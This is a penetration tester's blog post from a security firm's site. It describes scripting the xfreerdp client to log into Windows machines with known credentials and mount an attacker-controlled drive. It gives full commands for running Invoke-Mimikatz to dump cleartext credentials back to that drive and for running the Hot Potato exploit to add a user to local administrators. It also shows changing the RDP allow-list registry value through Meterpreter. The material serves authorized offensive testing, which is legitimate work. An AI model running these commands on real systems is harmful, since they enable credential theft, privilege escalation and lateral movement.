• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar
  • Skip to footer

War Room

Shells from above

RSM logo

  • Home
  • About
  • Blog
  • Talks/Whitepapers
  • Tools
  • Recreation
Home > Offense > Scripting RDP for Pillaging and Potato

Scripting RDP for Pillaging and Potato

January 18, 2016 By Andy

Previous posts on the WarRoom have addressed expediting the use of remote desktop to facilitate pillaging.  This post explores scripting commands through an RDP client to serve that same purpose. The end result is one-liner that will log in to a remote system, attach a local directory, execute a script, and save the output to that same local directory, provided the attacker has the credentials and the environment supports it (more on that below).  It’s worth making the caveat that, in terms of stealth or OpSec, remote desktop is not great.  It’s definitely more of an “easy button,” but it can certainly proves itself useful, especially when leveraged to complete multiple tasks with a single key press.

For connecting to a Microsoft Windows box from a Linux distro, rdesktop is often the go-to choice since it comes bundled in Ubuntu, Kali, and other Linux distros. Though rdesktop’s help menu mentions the shell flag (-s), I have not had success with scripting using rdesktop. Instead, the method described in this post uses the freerdp project and its command line tool xfreerdp. Though it’s included in the official Ubuntu repository, the version there appears out-of-date.  The best approach would be to install it from git according to the instructions provided by the freerdp project.

xfreerdp commands

Run xfreerdp with no arguments to see the range of options it provides, which are more extensive than rdesktop. In addition to the obvious username, domain, and password, several arguments are of particular interest:

/drive: Which allows redirecting a local drive to the remote machine;

/app: Which executes the specified program upon connecting.

/app-cmd: Which passes command-line parameters to the above application.

Using these parameters allows the person completing the connection to facilitate the execution of whatever rote task he or she is seeking to speed up or automate.

This example uses the Powershell implementation of the universally beloved mimikatz, which can be retrieved here.

The full command, which passes the appropriate credentials and makes use of all the parameters noted above, is as follows:

xfreerdp /u:Administrator /p:Password123 /drive:local,/home/digby/pillage /app:cmd.exe /app-cmd:"cmd.exe /k net use X: \\tsclient\local & X: & mimi.bat & logoff" /v:192.168.0.100

This will connect to the target machine using the username Administrator and the password Password123. Upon connecting, it will redirect a local drive (home/digby/pillage) as a resource to the target machine with the name “tsclient.”

The /app: flag means that cmd.exe will be executed upon connecting.  This will result in the attacker receiving an interactive cmd.exe window rather than a full desktop, and could similarly be used to run other specific programs, such as Notepad, Napster or iTunes, for example.

/app-cmd:"cmd.exe /k net use X: \\tsclient\local & X: & mimi.bat & logoff” indicates that upon launching cmd.exe, xfreerdp will automatically supply it with the above commands.   The command mounts the redirected local drive, changes to that drive, and runs a batch file called mimi.bat.  The text of mimi.bat is as follows:

powershell.exe -ep bypass ; import-module ./Invoke-Mimikatz.ps1 ; Invoke-Mimikatz -DumpCreds >> %COMPUTERNAME%.txt

RDP Scripting

This launches powershell bypassing the execution policy, imports the Invoke-Mimikatz module, executes it with the –DumpCreds flag, and writes the output to a file named after the targeted machine. Though this is running on the target machine, the .bat file resides on our local drive, and the output will be saved there as well.

Mimikatz output

After the file is written, xfreerdp logs off the session. Provided everything went well, a text file with some cleratext credentials has been deposited in the folder of choice. Assuming the administrative credentials work on multiple systems, all one needs is the IP of the targeted system. Using a single command to do all these processes opens up the possibility of more scripting and automation, and makes the remote desktop “easy button” that much more appealing.

And Potato, too.

This post first went up on January 18th, two days after the “Hot Potato” (aka: Potato) windows privilege escalation exploit was posted.  The following week I had the distinct pleasure of using Potato on a penetration test.  I had a smattering of user credentials, and though users were able to RDP in to their own machines, they did not have local administrative rights.  This means I had GUI access but limited privileges, which was the perfect combination for Potato as demonstrated by the author, breenmachine, here.

Here’s a command that logs in, mounts a local drive, changes into that directory, and executes Potato with a command that elevates the user you logged in as to a local administrator:

xfreerdp /u:Test /p:Password123! /drive:local,/home/digby/pillage /app:cmd.exe /app-cmd:"cmd.exe /k net use X: \\tsclient\local & X: & Potato.exe -ip 192.168.0.100 -disable_exhaust true -cmd \"cmd.exe /k net localgroup administrators Test /add\"" /v:192.168.0.100

potato_success

Note that in this scenario the username (“Test”) and IP (“192.168.0.100”) should correspond in both places within the command, since Potato in this use requires the local IP as the argument, and we’re elevating the same user to local admin.  Of course one could have Potato execute another command, this is simply the example used by the author.  And when done via an xfreerdp one liner, rapid lateral and vertical escalation becomes that much quicker.

What’s the catch?

Obviously, the strength of RDP that we’re abusing here is its ability to launch specific programs and pass them specific commands.  However, this ability might not be enabled.  The following error indicates that RDP is not permitted to execute the program specified after the “/app:” flag:

[08:32:30:562] [2763:2767] [ERROR][com.freerdp.client.x11] - RAIL exec error: execResult=RAIL_EXEC_E_NOT_IN_ALLOWLIST NtError=0x15

As it turns out, Microsoft Terminal Server can be configured to either allow the execution of specific programs (as dicated by the “AllowList”), or use of the Allow List as a filter can be disabled completely.  The Allow List is a registry key located here:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\TSAppAllowList

fDisabledAllowList value

Within the TSAppAllowList there is a value named “fDisabledAllowList.”  When fDisabledAllowList is set to 0 (as pictured above), the AllowList is not disabled (otherwise known as “enabled”) and programs that are not specifically allowed cannot be executed directly by RDP.  Setting this value to 1 does disable use of the list as a filter, RDP should be able to launch a program designated by the remote connector.

Fans of Metrepreter know that it provides a powerful method for viewing and interacting with the Windows registry.  As such, it could be used to confirm and change the value of fDisabledAllowList if necessary or desired.

Use the “reg enumkey” command to view the values associated with a particular key:

Meterpreter enum_key

To drill deeper into the value of a particular key, use the “reg queryval” command, specifying the key (-k) and value (-v):

Meterpreter queryval

Of course we can also change the value with the “reg setval” command:

Meterpreter setval

Having set the value to one, one can now execute the program of their choice with a successful RDP connection.

Obviously, having a SYSTEM shell on the targeted system may obviate the need to mess with particular registry values to enhance RDP capabilities.  However, depending on the specific intent, enabling this feature may be worth it to leverage the scripting ability.  And it’s always useful to know the underlying registry values that make elements of Windows tick, and remind ourselves of Meterpreter’s ability to interact with them.

digby sends.

Share this...
  • Reddit
  • Email
  • Facebook
  • Twitter
  • Linkedin

Andy

Primary Sidebar

Categories

  • Defense
  • Forensics
  • Offense
  • Physical
  • R&D

Most Viewed Posts

  • DLL Injection Part 1: SetWindowsHookEx 10.8k views
  • Sophos UTM Home Edition – 3 – The Setup 10.8k views
  • Leveraging MS16-032 with PowerShell Empire 10k views
  • Bypassing Gmail’s Malicious Macro Signatures 9.8k views
  • How to Bypass SEP with Admin Access 8.9k views

Footer

  • RSS
  • Twitter
  • Tools
  • About
  • RSM US LLP

+1 800 903 6264

1 S Wacker Dr Suite 800
Chicago, IL 60606

Copyright © 2023 RSM US LLP. All rights reserved. RSM US LLP is a limited liability partnership and the U.S. member firm of RSM International, a global network of independent audit, tax and consulting firms. The member firms of RSM International collaborate to provide services to global clients, but are separate and distinct legal entities that cannot obligate each other. Each member firm is responsible only for its own acts and omissions, and not those of any other party. Visit for more information regarding RSM US LLP and RSM International.